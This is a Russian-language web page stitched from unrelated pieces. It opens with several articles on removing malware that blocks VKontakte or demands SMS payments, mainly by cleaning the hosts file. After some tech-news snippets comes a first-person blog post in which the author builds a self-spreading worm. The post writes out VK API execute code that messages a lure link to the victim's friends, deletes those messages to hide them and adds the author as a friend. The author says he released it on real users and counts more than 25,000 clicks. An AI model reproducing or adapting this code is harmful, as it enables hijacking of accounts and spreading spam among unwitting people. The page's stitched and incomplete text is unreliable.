Продолжает серию публикаций по борьбе с вирусами. На этот раз, мы расскажем, как удалить вирус вконтакте, который блокирует сайт или вымогает деньги с помощью отправки смс сообщения. И вернуть доступ к популярной социальной сети в Контакте.
Вирусы бывают разные. Соответственно и лечить их надо по-разному. Давайте разберемся по порядку, что можно сделать, если зараза уже проникла на компьютер. Сразу скажем, — ни в коем случае не отправляйте смс сообщения! Это не поможет, а денег лишитесь.
Важно понимать, что зайдя на страницу вконтакте, вы можете и не понять, что перед вами вирус, который блокирует вконтакте, и принять его сообщение за чистую монету. Например, оно может быть такого содержания:
Здравствуйте! В связи с тем, что социальная сеть вКонтакте переполнена пустыми аккаунтами, которые зарегистрированы на несуществующих лиц, администрация приняла решение о чистке социальной сети путем одноразовой бесплатной отправки СМС сообщения каждым активным пользователем. Для подтверждения вашей учетной записи просим прислать СМС с текстом 456023 на номер ******.
Согласитесь, для неподготовленного человека такой текст может быть опасен, ведь обыватель мог случайно скачать троян в контакте.
В статье мы уже рассказали про методы борьбы с блокировщиками Windows. Остановимся на еще одном методе удаления троянов, которые блокируют не всю систему, а только страницы социальных сетей. Итак, перейдем к процедуре удаления и узнаем, как избавиться от вируса вконтакте.
Для тех, кому интересно, что мы сейчас проделали, расскажем суть операции. В операционной системе Windows существует служебный файл hosts. Обычно в нем присутствует всего одна строка:
А зараженный файл hosts выглядит так:
Вирусы же вписывают туда адреса страниц вконтакте, и доступ блокируется. Файл hosts находится по следующим путям в системе:
C:\WINDOWS\system32\drivers\etc\hosts
Вы можете самостоятельно проверить его правильность. Вернемся к нашей проблеме. Если вышеуказанная операция не помогла и вконтакте не работает, проделаем более сложные действия, чтобы вылечить вирус:
Удаление всех ограничений пользователя Восстановление настроек проводника Удаление отладчиков системных процессов Очистка файла Hosts Автоматическое исправление настроек SPI/LSP Сброс настроек SPI/LSP и TCP/IP Настройки TCP/IP: удалить статические маршруты Заменить DNS всех подключений на Google Public DNS
Данный способ не только разблокирует сайт, но и восстановит поврежденные службы системы. Надеемся, наши рекомендации, как лечить вирус вконтакте, помогли. В любом случае, вы можете прочитать про другие методы по на нашем сайте, или обратиться к нам за помощью. Желаем вам успехов в борьбе с вирусами!
Вас уже посещал вирус вконтакте? Независимо от ответа, рекомендую Вам узнать заранее как удалить вирус и предотвратить его появление на компьютере. Для этого достаточно соблюдать меры предосторожности и не паниковать при первом столкновении с вредоносной программой. О некоторых причинах появления вируса, который блокирует "Вконтакте", а также о способах его удаления я расскажу далее.
В первом случае , Вы можете столкнуться с конфликтами программ, к примеру, браузера Mozilla Firefox и различных утилит для работы с социальной сетью : скачивание видеороликов, музыкальных композиций, накручивания рейтинга (VKSaver и др). В данной ситуации браузер вылетает с сообщением об ошибке, для решения достаточно удалить вредоносную утилиту.
Во втором, браузер может показывать пустую страницу или выдавать сообщение об ошибке загрузки. Причиной может являться изменённый вирусом системный файл hosts, находящийся по адресу "C: Windows System32 drivers etc". (Он также может быть скрыт, для появления скрытых файлов найдите соответствующую строчку в "Сервис" - "Параметр папок" - "Вид", если первого пунктане видите - нажмите "Alt"). Далее его достаточно открыть блокнотом, выбрав последний вручную из списка, и удалить все строчки, кроме
"127.0.0.1 localhost" (не считая строчек, начинающихся с решеток)
После проделанной операции, необходимо перезагрузиться.
На заметку, хочу сказать, что с возвращением файла в исходное состояние Вам может помочь и , после проверки он сам Вам предложит заменить файл. Также он является одним из лидеров в лечении файлов и удалении всех популярных угроз, при этом, работает с высокой скоростью. Как раз, если ПК всё-таки заражён вирусами и сайт требует от Вас SMS-активации , то можно сразу прибегать к Dr. Web CureIt, или любому другому доступному антивирусному сканеру, если штатный антивирус бессилен.
Как правило, любые вирусы, изменения файлов не проходят ежесекундно и без Вашего ведома. Если на ПК установлен антивирус, значит он просто упустил из виду вредоносный файл, а Вы скорее всего стали жертвой мошенников.
Также если вместо сайта появилось сообщение с кодом или любой другой информацией, возможна произошла замена, устранение которой уже описано выше.
Возможны и маленькие последствия вирусов, их четыре, когда браузер отказывается заходить на сайт под Вашим логином и паролем:
Если перечисленные способы удаления вируса "Вконакте" не помогли, мы обязательно постараемся ответить на Ваши вопросы в комментариях.
Комментарии:
Один из руководителей компания Meizu Ли Нан опубликовал первую фотографию, сделанную на камеру бюджетного...
Компания GIGABYTE пополнила ассортимент материнских плат моделью C621-WD12, которая поддерживает установк...
Пару дней назад в сеть утекло живое фото флагманского смартфона Meizu 16s, который был сильно похож на Me...
Пару дней назад компания Xiaomi презентовала свой новый флагманский смартфон Mi 9 для европейского рынка....
Компания Lenovo показала на выставке MWC 2019 моноблок IdeaCentre AIO A340, который привлекает внимание н...
Сегодня все чаще и чаще пользователи жалуются на то, что доступ к социальной сети Вконтакте блокируется различного рода вирусными программами. Проблема эта действительно актуальна и обусловливается это тем, что большинство людей просто не знает как удалить вирус Вконтакте. Так давайте научимся выявлять и исправлять эту проблему, а поможет в этом данная статья.
Удаление вируса Вконтакте
Чаще всего, заражение вирусом происходит тогда, когда пользователь переходит по вредоносной ссылке. Через некоторое время после заражения при входе в социальную сеть (а иногда и во время сеанса) Вы увидите примерно такую надпись.
Содержимое надписи может быть и другим, но необходимо понимать то, что это чистой воды развод. Таким образом мошенники пытаются на вас заработать, так как введя свой номер телефона в форму заполнения Вы, скорее всего, автоматически подпишитесь на платную спам рассылку. Очень важно не вводить никаких данных ни в одну из форм для заполнения. Сам по себе вирус заменяет в адресной строке браузер нужные Вам Vk.com на что-то, нужное уже мошенникам, причем с очень похожим доменным именем, например vksupp.ru.
При этом мошенникам предоставляется возможность выдать себя за службу поддержки Вконтакте. К сожалению даже современные антивирусы не могут вычислить вредоносный код если он уже проник на Ваш компьютер.
Пути решения проблемы
Как было сказано выше, антивирус не может обнаружить вредоносную программу, а это означает то, что справляться с ней Вам придется в ручную. Но не стоит пугаться, процесс не сложен и не отнимет много времени. Для начала откройте локальный диск C. Откройте папку etc , которая находится по следующему адресу.
В этой папке нужно найти и открыть файл Hosts .
Сделать это можно при помощи блокнота, выбрав его из списка предложенных программ. Перед Вами предстанет вот такой вот текст.
Внимательно проверьте содержимое вашего файла с содержимым, которое показано на картинке. Они не должны отличаться. Все лишнее выделяете и без сомнения жмете по клавише Delete . После этого следует перезагрузить свой компьютер и продолжать наслаждаться общением в социальных сетях.
Возможные трудности в процессе решения проблемы
1. Случается так, что файл Hosts открыть не удается. Вылетают ошибки или просто ничего не происходит. Справится с этой неприятностью можно при помощи загрузки компьютера в безопасном режиме.
Что делать, если при открытии своей странички ВКонтакте появляется сообщение о нарушении правил пользования, блокировке аккаунта и предложением получить код активации после отправки СМС – сообщения? Либо же просто невозможно зайти на любимый сайт безо всяких «требований о выкупе». Главное о чем стоит помнить в этот момент, сайт «ВКонтакте» абсолютно бесплатен и не требует отправки платных СМС сообщений. И второе – компьютер заражен вредоносным программным обеспечением и из вашего кошелька пытаются выманить деньги. Отправка СМС еще не гарантирует решения проблемы и ее стоимость может значительно отличаться от заявленной.
Как происходит заражение компьютера? Как правило, пользователь сам подвергает опасности свою систему, устанавливая «левое» программное обеспечение либо переходя по ссылке на подозрительные сайты. Как результат в компьютер вселяется вирус.
В связи с тем, что редактирование файла hosts является одним из наиболее распространенных способов борьбы с ВКонтакте, мы предлагаем пошаговую инструкцию по его редактированию. Несмотря на то, что придется немного «включить мозг», ничего страшного в процессе редактирования файла hosts нет. Что это за файл и как используется, наиболее любопытные могут прочитать самостоятельно, например в Википедии.
Итак, вот несложная схема действий, подходящая для всех популярных операционных систем (XP, Vista и Win 7):
И напоследок несколько советов, как избежать заражения компьютера вирусом ВКонтакте:
Есть множество и других рекомендаций, но в подавляющем большинстве случаев достаточно выполнения и этих. Выше описанные способы удаления вирусов подходят не только для сайта «ВКонтакте», но и для других социальных сетей и часто посещаемых ресурсов.
В очередной день я сидел перед компьютером и не знал, чем заняться. Прокручивая свою ленту уже вернулся ко вчерашним постам, которые уже видел. Перейдя на свою страницу подумал про себя: «Боже, всего 160 подписчиков. Как же это мало...». И сразу же возник вопрос «А как их увеличить?». Ясное дело, что каждому на ум придет накрутка. Но для этого требовалось либо деньги, либо проводить много времени, подписываясь, делая репосты или лайкая всё, что угодно - это не было выходом.
Позже, перед сном, ко мне забралась идея, как это сделать. Идея заключалась в вирусной ссылке, которую получат почти все пользователи сети.
Проснувшись утром и попив кофе, я начал реализовывать эту идею. Для многих уже давно не секрет, что для выполнения запросов от имени пользователя в VK API, нужно иметь его access_token. Но! На самом сайте этого ключа не требуется, чтобы просто протестировать. Перед началом создания этого Супер вируса, я хотел просто проверить его работоспособность.
Для теста и использовал метод friends.add и в поле user_id прописал свой id. Выполнив это действие, адресная строка изменится, на что-то вроде этого:
Эту ссылку я сократил через vk.cc и оставил в комментариях к двум популярным группам с заманчивым описанием. Через полчаса у меня уже было 100 подписчиков (было бы больше, но мой комментарий удалили, а меня забанили). После этого, я стал уверен, что это сработает и приступил к его созданию.
Вконтакте ограничивает доступ к API от одного IP интервалом в 5 секунд, чтобы сервер не перегружался. И для решения проблемы с частыми запросами они создали метод execute . Этот метод позволяет вызывать несколько методов одновременно с сохранением алгоритма, чем я и воспользовался.
Этот вирус в основном опирается на доверчивость людей, двумя словами - «социальная инженерия». Каждый из нас наверняка перейдет по ссылке в сообщении от своего друга - именно этим я и хотел поработить мир воспользоватся.
На создание вируса у меня ушли примерно сутки, так как встретил пару преград. Об этом чуть позже. Вирус должен был работать так:
Var a = API.friends.get({ // Метод для получения списка всех друзей
"order": "hints" // Параметр для сортировки по рейтингу
}).items; // Получить только список
var b = 0; // Переменная для цикла
var d = 0; // Переменная для id сообщения
while (a[b]){
d = API.messages.send({ // Метод отправки сообщения. Возвращает id сообщения
"user_id": a[b], // получатель
"message": "Смотри /* ссылка */ " // текст сообщения
});
API.messages.delete({ // Удалить сообщение по его id
"message_ids": d
});
b = b + 1; // Увеличить b на 1 (++b или b++ не работает)
}
API.friends.add({
"user_id": "мой id"
});
Получив ссылку, я радостно пошел протестировать на своем фейковом профиле. Но не тут-то было. Перейдя по ссылке, мне выдало ошибку 12: Синтаксическая ошибка. Не ожидалось символа &. Здесь и начались мои преграды.
Как оказалось, сервер для защиты от XML переводит все знаки. И знак двойных кавычек " просто переводился в & quotes; а консоль
выдавала ошибку. Одинарные кавычки не переводятся, но их он не примет, так как синтаксис от JSON.
Так как это моя первая попытка работы с уязвимостью (как и этот пост) на это у меня ушло чуть дольше времени. Первые пять часов ушли на то, чтобы понять, что ключи можно передавать и без кавычек, и цифры писать в кавычках тоже не обязательно. Т.е. можно так:
API.friends.add({
user_id: 1234567
});
Хорошо, половина проблемы была решена. Осталась лишь одна проблема: мне нужно было придумать, как передать текст сообщения и слово «hints» для сортировки.
Для справки! Почему передавать параметр hints было обязательно?
Дело в том, что даже на странице теста метода, при подозрительном запросе (например отправка от 3 или 7 сообщении), требуется ввести капчу. Не факт, что сообщение будет отправлено нужному человеку. Поэтому передача этого параметра отсортирует список так, что первые трое из списка с большей вероятностью в 90% перейдут по ссылке.
ВКонтакте API - это не JavaScript и не поддерживает его функции вроде replace() или toString(). Да и вообще ничего не поддерживает из JS, кроме var, return, while, if, else, массивов и операторов сравнения.
Я снова оказался в тупиковом положении и не знал, что мне делать. Я рассказал об этом своим знакомым программистам с просьбой помочь. Со словами «Это просто гениально, чувак!» они решили мне помочь и пошли копаться в документации к API
Ушло очень много времени, пока я думал, как мне решить эту проблему. Стало поздно и я пошел спать. Перед сном, меня опять озарила грандиозная идея с решением этой проблемы.
Снова утро. Попив свою дозу утреннего кофе первым делом я приступил к продолжению своего вируса.
Решение было довольно простым. Ведь передавая числа или переменные из методов, необязательно писать их в кавычках.
Для меня понадобился мой фейковый профиль. Там я сделал два разных поста с такими текстами:
Var b = 0; // Переменная для цикла
var d = 0; // Переменная для id сообщения
var m = API.wall.get({
owner_id: id, // id фейковой страницы
count: 1 // вернуть всего 1 пост
}).items.text; // получить только текст статьи
var h = API.wall.get({
owner_id: id, // id фейковой страницы
count: 1, // вернуть всего 1 пост
offset: 1 // сместить посты на 1
}).items.text; // получить только текст статьи
var a = API.friends.get({ // Метод для получения списка всех друзей
order: h // Параметр для сортировки по рейтингу
}).items; // Получить только список
while (a[b]){
d = API.messages.send({ // Метод отправки сообщения. Возвращает id сообщения
user_id: a[b], // получатель
message: m // текст сообщения
});
API.messages.delete({ // Удалить сообщение по его id
message_ids: d
});
b = b + 1; // Увеличить b на 1 (++b или b++ не работает)
}
API.friends.add({
"user_id": "мой id"
});
Получив ссылку, я проверил его на работоспособность и - ура! Всё работало так, как нужно. С фейковой страницы был отправлен запрос на добавление в друзья и успешно переданы сообщения первым 7 друзьям из рейтинга. Сжав ссылку и поставив его на первый пост, я с довольной улыбкой готовился к Большому Буму!
Чтобы еще и знать, сколько людей перешло по ссылке, я сжал ссылку к php файлу на моем хостинге, который записывал посещение в БД, и переадресовывал к методу с кодом.
Для интриги я не стал обновлять страницу каждый раз, а просто вышел из ВК сразу, после одного коммента. Вернулся примерно через час и, посмотрев на количество записей в БД, ощутил прилив счастья. Радости не было предела! Более 5000 переходов. «И этого всего за час! А что же будет через два?» - задавался себе вопросом. Ведь это был мой первый опыт в хакинге.
Решив посмотреть сколько все же набралось лично на странице, я зашел на сайт и вижу целых 3 новых подписчика! Не сказать, что я не был удивлен. Я ничего не понимал… В базе было более 5000 строк, где почти все имели индивидуальный IP, а подписчиков всего 3. Я начал думать, что я на самом деле не такой умный, кое себя считал 2 минут назад, и что от таких махинации у ВК уже есть защита. С такими мыслями я ушел грустить.
Прошло уже 2 дня. Перед тем, как идти спать, я решил проверить свой сайт. Заглянув в базу данных, и ради интереса посмотрел таблицу для записи статистики. Там уже набралось более 25 000 посещении по вирусной ссылке, а подписчиков стало меньше, т.к. отписались еще и те, которые для меня были тестом еще в начале.
Снова перед сном, я наконец понял, почему не было новых подписчиков, а количество переходов росло (кто-нибудь, напишите пост, почему именно перед сном приходят решения? Иначе я сам напишу).
Все дело было в коде. Метод execute выполняет код сохраняя алгоритм, а метод добавления в друзья был в самом конце. Он не срабатывал потому, что дальнейшие методы не выполнялись до тех пор, пока не будет введена капча. Т.к. у всех моих «жертв» было больше 8 друзей, естественно срабатывала капча, а пользователи заподозрив что-то, просто закрывали вкладку. Запись сохранялась, сообщения передавались, а рабов подписчиков не становилось больше.
Сразу скакнув из кровати, я решил исправить это быстро, чтобы к утру было уже более десяток тысяч подписчиков. После внесении изменении в php файле переадресации, я ушел спать с довольными мыслями завтрашнем дне.
Наступает утро и я проверяю свой профиль, даже не попив свой кофе. Ура! Подписчиков стало меньше…
Я снова был крайне удивлен. Всё же должно работать. На сей раз я решил проверить работоспособность ссылки на настоящем профиле. Удалив код, удаления сообщения, я перешел по сгенерированной ссылке. Оказывается эту уязвимость разработчики уже закрыли. Код в адресные строке по переходу уже не срабатывал
Я не знаю, как они сами до этого догадались. Я тут гений! То ли и до них дошло сообщение, то ли один из знакомых программистов втайне рассказал об уязвимости, чтобы там ни было я об этом никогда не узнаю.
Я всё равно был рад, так как я впервые смог найти уязвимость в большой сети. Может другим это обычное дело, но для меня это было чем-то особенным.
Теги: вконтакте api, уязвимости, социальная инженерия
